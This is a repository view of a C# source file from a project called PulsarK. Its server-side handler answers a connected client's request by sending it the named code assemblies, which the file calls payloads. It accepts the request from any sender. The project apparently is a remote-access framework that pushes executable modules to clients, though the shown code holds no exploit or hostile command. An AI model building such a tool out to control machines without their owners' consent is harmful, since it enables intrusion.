Files
PulsarK-main/Pulsar.Server/Messages/DeferredAssemblyHandler.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

62 lines
2.0 KiB
C#

using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Server.Utilities;
using System;
using System.Diagnostics;
using System.Linq;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles client requests for deferred assemblies and responds with the necessary payloads.
/// </summary>
public class DeferredAssemblyHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is RequestDeferredAssemblies;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
if (sender == null)
{
return;
}
var request = message as RequestDeferredAssemblies;
if (request == null || request.Assemblies == null || request.Assemblies.Length == 0)
{
Debug.WriteLine("[DeferredAssemblyHandler] Received empty deferred assembly request.");
return;
}
try
{
var descriptors = DeferredAssemblyProvider.GetAssemblies(request.Assemblies)
.Where(descriptor => descriptor != null)
.ToList();
if (descriptors.Count == 0)
{
Debug.WriteLine("[DeferredAssemblyHandler] No assemblies could be resolved for request.");
return;
}
var package = new DeferredAssembliesPackage
{
Assemblies = descriptors,
IsComplete = true
};
sender.Send(package);
Debug.WriteLine($"[DeferredAssemblyHandler] Sent {descriptors.Count} deferred assemblies.");
}
catch (Exception ex)
{
Debug.WriteLine($"[DeferredAssemblyHandler] Failed to process deferred assembly request: {ex.Message}");
}
}
}
}